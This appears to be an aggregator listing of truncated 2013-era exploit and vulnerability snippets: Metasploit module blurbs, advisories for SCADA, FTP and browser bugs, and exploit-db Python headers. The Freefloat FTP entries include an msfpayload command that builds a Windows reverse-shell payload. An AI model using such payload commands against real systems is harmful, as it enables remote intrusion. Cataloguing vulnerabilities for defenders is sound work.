MediaCoder .M3U Buffer Overflow

This module exploits a buffer overflow in MediaCoder 0.8.22. The vulnerability occurs when adding an .m3u, allowing arbitrary code execution under the context of the user. DEP bypass via ROP is supported on Windows 7, since the MediaCoder runs with DEP. This module has been tested successfully on...

[DEP Process Scanner] Tool to scan and show all the DEP enabled Processes

DEP Process Scanner is the free command-line tool to scan and show all the DEP enabled Processes. Data Execution Prevention DEP is a security feature introduced since Windows XP SP2 onwards and designed to prevent an application executing code from a non-executable memory regions such as Stack or...

Cool Exploit Kit Includes Old Internet Explorer Exploit

You cannot accuse the keepers of the Cool Exploit Kit of not recognizing market trends. Given a rash of recent watering hole attacks and zero-day exploits built around Microsoft’s Internet Explorer browser, it’s no surprise that a 15-month-old IE exploit has been included in the crimeware package...

Microsoft Internet Explorer 8 CGenericElement object use-after-free vulnerability

Overview Microsoft Internet Explorer 8 contains a use-after-free vulnerability in the CGenericElement object, which is currently being exploited in the wild. Description Microsoft Security Advisory 2847140 states:Internet Explorer 6, Internet Explorer 7, Internet Explorer 9, and Internet Explorer...

3S CoDeSys Gateway Server Crafted Packet Stack Overflow

Added: 04/29/2013 CVE: CVE-2012-4708 BID: 58032 OSVDB: 90371 Background Smart Software Solutions GmbH 3S manufactures CoDeSys Gateway Server, a Supervisory Control and Data Acquisition/Human-Machine Interface SCADA/HMI product. The Gateway Server listens on TCP port 1211. Problem 3S CoDeSys Gatew...

Tincd Post-Authentication Remote TCP Stack Buffer Overflow

This module exploits a stack buffer overflow in Tinc's tincd service. After authentication, a specially crafted tcp packet default port 655 leads to a buffer overflow and allows to execute arbitrary code. This module has been tested with tinc-1.1pre6 on Windows XP custom calc payload and Windows ...

VUPEN Security Research - Oracle Java JavaFX Video Frame Decoding Remote Heap Overflow (Pwn2Own 2013)

VUPEN Security Research - Oracle Java JavaFX Video Frame Decoding Remote Heap Overflow Pwn2Own 2013 Website : http://www.vupen.com Twitter : http://twitter.com/vupen I. BACKGROUND --------------------- "Java is the foundation for virtually every type of networked application and is the global...

BitZipper 2013 memory-corruption vulnerability

Overview BitZipper 2013 contains a memory-corruption vulnerability, which may allow a remote unauthenticated attacker to execute arbitrary code on a vulnerable system. Description BitZipper 2013 contains a memory-corruption vulnerability, which may allow a remote unauthenticated attacker to execu...

BigAnt Server 2.97 Buffer Overflow

!/usr/bin/python Title: BigAnt Server 2.97 DDNF Username Buffer Overflow Author: Craig Freyman @cd1zz http://pwnag3.com Tested on: Windows 7 64 bit DEP/ASLR Bypass Similar Exploits: http://www.exploit-db.com/exploits/24528/ http://www.exploit-db.com/exploits/24527/...

Freefloat FTP Server 1.0 - DEP Bypass with ROP

Freefloat FTP Server 1.0 - DEP Bypass with ROP !usr/bin/python Exploit title: FreeFloat ftp 1.0 DEP bypass with ROP Exploit Author: negux POC: http://www.exploit-db.com/exploits/24479/ Tested on : Windows XP SP 3 Spanish import socket,struct msfpayload windows/shellreversetcp LHOST=192.168.1.117...

Freefloat FTP Server 1.0 - DEP Bypass with ROP

!usr/bin/python Exploit title: FreeFloat ftp 1.0 DEP bypass with ROP Exploit Author: negux POC: http://www.exploit-db.com/exploits/24479/ Tested on : Windows XP SP 3 Spanish import socket,struct msfpayload windows/shellreversetcp LHOST=192.168.1.117 LPORT=443 R | msfencode -a x86 -b...

WellinTech KingView KingMess.exe Log File Parsing Overflow

Added: 03/22/2013 CVE: CVE-2012-4711 BID: 57909 OSVDB: 89690 Background WellinTech is a China-based company which produces KingView, a Web-based SCADA application for Windows-based control, monitoring, and data collection that is used internationally. Problem WellinTech KingView KingMess.exe is...

WellinTech KingView KingMess.exe Log File Parsing Overflow

Added: 03/22/2013 CVE: CVE-2012-4711 BID: 57909 OSVDB: 89690 Background WellinTech is a China-based company which produces KingView, a Web-based SCADA application for Windows-based control, monitoring, and data collection that is used internationally. Problem WellinTech KingView KingMess.exe is...

CoreFTP contains a buffer overflow vulnerability

Overview CoreFTP contains a buffer overflow when parsing long directory names. Description CoreFTP is susceptible to a buffer overflow when parsing long directory names from a malicious FTP server. The LIST, VIEW, commands are vulnerable to a denial of service and the DELE command has been report...

Sami FTP Server 2.0.1 PUT Command Buffer Overflow

!/usr/bin/python Exploit Title: Sami FTP Server 2.0.1 PUT Command Buffer overflow DEP Bypass Date: 17 Mar 2013 Exploit Author: ne0z Vendor Homepage: http://www.hatsecure.com Version: Sami FTP Server 2.0.1 Tested on: Windows XP Professional SP3 Description : A buffer overflow is triggered when a...

VMware OVF Tool Format String

Added: 03/15/2013 CVE: CVE-2012-3569 BID: 56468 OSVDB: 87117 Background VMware is a suite of products supporting the creation and operation of virtual machines, which are self-contained, independent guest operating systems running within a host operating system. Problem The Windows variants of...

Microsoft Silverlight - ScriptObject Unsafe Memory Access (MS13-022/MS13-087) (Metasploit)

This module requires Metasploit: http://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework require 'msf/core' class MetasploitModule EOS def initializeinfo= superupdateinfoinfo, 'Name' = "MS13-022 Microsoft Silverlight ScriptObject Unsafe Memory Access",...

MS13-022 Microsoft Silverlight ScriptObject Unsafe Memory Access

This module exploits a vulnerability in Microsoft Silverlight. The vulnerability exists on the Initialize method from System.Windows.Browser.ScriptObject, which access memory in an unsafe manner. Since it is accessible for untrusted code user controlled it's possible to dereference arbitrary memo...

Slideshow: Scenes from CanSecWest 2013

VIEW SLIDESHOW Scenes from CanSecWest 2013 The CanSecWest security conference in Vancouver last week included technical presentations on bypassing ASLR and DEP and the intricacies of Android research, as well as a fascinating talk on the red team exercises Facebook’s security team runs. We put...

CVE-2013-2554

Unspecified vulnerability in Microsoft Windows 7 allows attackers to bypass the ASLR and DEP protection mechanisms via unknown vectors, as demonstrated against Firefox by VUPEN during a Pwn2Own competition at CanSecWest 2013, a different vulnerability than CVE-2013-0787...